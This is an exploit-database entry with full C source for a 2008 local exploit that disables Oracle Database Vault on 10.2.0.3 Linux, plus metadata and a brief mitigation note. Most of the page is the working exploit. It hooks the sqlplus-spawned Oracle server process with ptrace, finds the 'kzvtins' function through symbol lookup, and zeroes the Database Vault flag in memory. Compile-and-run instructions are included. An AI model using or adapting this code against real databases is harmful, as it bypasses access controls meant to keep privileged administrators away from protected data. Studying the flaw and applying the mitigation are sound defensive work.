header-logo
Suggest Exploit
vendor:
Database Server
by:
Jakub 'vnull' Wartak
7.2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: Database Server
Affected Version From: 10.2.0.3
Affected Version To: 10.2.0.3
Patch Exists: NO
Related CWE: N/A
CPE: a:oracle:database_server:10.2.0.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2008

ORA_DV_MEM_OFF.C

This exploit is used to disable the Oracle Database Vault runtime. It is tested on 10.2.0.3 and CentOS 5. It requires the user to have access to the oracle user process space and requires BFD headers and library (binutils-devel). It also requires ptrace() to be enabled and working.

Mitigation:

Limit risk by creating UNIX accounts for DBAs with membership of OSDBA group (along with oracle SUID binary and shared memory with only read permission for OSDBA group [check SHM privs: ipcs -cm]).
Source

Exploit-DB raw data:

/*
 * original release: http://vnull.pcnet.com.pl/blog/?p=92
 * 
 * ora_dv_mem_off.c version 0x1
 * ORACLE Database Vault runtime disabler (x86_32 Linux only)
 * AKA give_back_the_freedom
 * by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008
 * 0-day PRIVATE! D0 N0T DI$TRIBUT3!
 *
 * Tested on 10.2.0.3, CentOS 5. 
 * For other architectures/OS combos consider having fun with gdb ;]
 *
 * Whole Database Vault architecture is flawed if DBA has access to
 * oracle user process space. IMHO you could limit risk by creating
 * UNIX accounts for DBAs with membership of OSDBA group (along with 
 * oracle SUID binary and shared memory with only read permission 
 * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs 
 * would cope with some serious crashes (requiring for e.g. restoring 
 * controlfile) ?
 *
 * Usage: 
 *		Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME
 * 		$ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
 *		$ ./ora_dv_mem_off
 *
 * REQUIEREMENTS:
 *	+ run as oracle process owner (by default "oracle")
 *	+ working ptrace(), it won't work in systems with ptrace() 
 *    disabled (grsecurity and some LKMs).
 *	+ BFD headers and library (binutils-devel)
 *
 * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
 * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
 * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
 * LOSSES OR UNLAWFUL OFFENCES.
 *
 * USE AT OWN RISK!
 *
 */
#include <bfd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
#include <asm/unistd.h> /* for __NR_clone */

/* you may need to alter this */
#define ORABASE  "/u01/app/oracle/product/10.2.0/bin"

/* 
 * Magic... (at&t syntax)
 * push %ebp
 * mov %esp, %ebp
 * mov <DV_FLAG>, %eax
 * [..] 
 * where DV_FLAG is 32-bit long
 */
#define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"

const char *sqlplus = ORABASE "/sqlplus";
const char *oracle =  ORABASE "/oracle";
const int long_size = sizeof(long);
pid_t child;

long locate_dv_func(void) 
{
	asymbol **symbol_table;
	bfd *b = bfd_openr(oracle, NULL);
	if (b == NULL) {
		perror("bfd_openr");
		exit(-1);
	}

	bfd_check_format(b, bfd_object);
	long storage_needed = bfd_get_symtab_upper_bound(b);
	if(storage_needed < 0) {
		fprintf(stderr, "wtf?!\n");
		exit(-1);
	}

	if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) {
		perror("malloc");
		exit(-1);
	}

	int num_symbols;
	if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) {
		fprintf(stderr, "no symbols info\n");
		exit(-1);
	}

	int i;
	for(i = 0; i < num_symbols; i++) {
		char *symname = bfd_asymbol_name(symbol_table[i]);
		void *symaddr = bfd_asymbol_value(symbol_table[i]);
		/* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */
		if(!strcmp(symname, "kzvtins")) {
			fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), 
				(long) symaddr);
			return (long) symaddr;
		}
	}

	return 0;
}

/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */
void getdata(pid_t child, long addr, char *str, int len)
{ 
	char *laddr;
	int i, j;
	union u {
		long val;
		char chars[long_size];
	} data;
	i = 0;
	j = len / long_size;
	laddr = str;
	while(i < j) {
		data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
		memcpy(laddr, data.chars, long_size);
		++i;
		laddr += long_size;
	}
	j = len % long_size;
	if(j != 0) {
		data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL);
		memcpy(laddr, data.chars, j);
	}
	str[len] = '\0';
}

void putdata(pid_t child, long addr, char *str, int len)
{   
	char *laddr;
    int i, j;
    union u {
            long val;
            char chars[long_size];
    } data;
    i = 0;
    j = len / long_size;
    laddr = str;
    while(i < j) {
        memcpy(data.chars, laddr, long_size);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
        ++i;
        laddr += long_size;
    }
    j = len % long_size;
    if(j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
    }
}

void cleanup(void) 
{
	int s;
	kill(child, SIGKILL);
	wait(&s);
}

int main(int ac, char **av) 
{
	int status;
	pid_t orapid = 0;

	bfd_init();
	
	if((child = fork()) == -1) {
		perror("fork");
		exit(-1);
	}

	if(child == 0) {
		if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) {
			perror("unable to ptrace(PTRACE_TRACEME)");
			exit(-1);
		}

		/* launch sqlplus */
		if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) {
			perror("execl");
			exit(-1);
		}

		/* not reached */
		exit(0);
	} 

	if(atexit(cleanup) != 0) {
		fprintf(stderr, "[%d] unable to register cleanup function\n", getpid());
	}

	wait(&status);
	if(WIFSTOPPED(status)) {
		fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child);
	}

	fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");

	while(!orapid) {
		struct user_regs_struct uregs;

		ptrace(PTRACE_SYSCALL, child, 0, 0);
		wait(&status);
		ptrace(PTRACE_GETREGS, child, 0, &uregs);

		/* ouch! no fork()? clone()! */
		if(uregs.orig_eax==__NR_clone) {
			long *regs = 0;

			/* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */
			ptrace(PTRACE_SYSCALL, child, 0, 0);
			wait(&status);
			if((orapid = ptrace(PTRACE_PEEKUSER, child, &regs[EAX], 0)) == -1) {
				perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n");
				exit(-1);
			}
			fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), 
				child, orapid);

			/* attach to orapid, detach from sqlplus */
			if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) {
				perror("ptrace(PTRACE_ATTACH) to orapid");
				exit(-1);
			}

			while(1) {
				ptrace(PTRACE_SYSCALL, orapid, 0, 0);
				wait(&status);
				ptrace(PTRACE_GETREGS, orapid, 0, &uregs);
				if(uregs.orig_eax==__NR_execve) {
					fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid);
					/* end ptrace of syscall */		
					ptrace(PTRACE_SYSCALL, orapid, 0, 0);
					break;
				} else {
					//fprintf(stderr, "got %ld\n", uregs.orig_eax);
					ptrace(PTRACE_SYSCALL, orapid, 0, 0);
				}
			}

			if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) {
				perror("ptrace(PTRACE_DETACH) from child");
				exit(-1);
			}

		} else if(uregs.orig_eax==__NR_execve) {
			fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child);
		}
	}

	/* now we have oracle server process under our control :) */
	long dv_func = locate_dv_func();
	if(dv_func == 0) {
		fprintf(stderr, "ERROR: unable to find function\n");
		exit(-1);
	}
	wait(&status);

	unsigned char buf[32];
	memset(buf, 0, sizeof(buf));
	getdata(orapid, dv_func, (char *)&buf, 32);

	/* dump opcodes */
	/*
    for(i = 0; i < 31; i++) {
		fprintf(stderr, "%x ", (unsigned char)buf[i]);
	} */
	
	if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) {
		unsigned char dv_status;
		unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;

		getdata(orapid, woff, (char *)&dv_status, 1);
		fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status);
		fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2);
	
		unsigned char my = 0;
		putdata(orapid, woff2, (void *)&my, 1);
	}

	if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) {
		perror("ptrace(PTRACE_DETACH) from orapid");
		exit(-1);
	}

	wait(&status);
	exit(0);
}

// milw0rm.com [2008-11-20]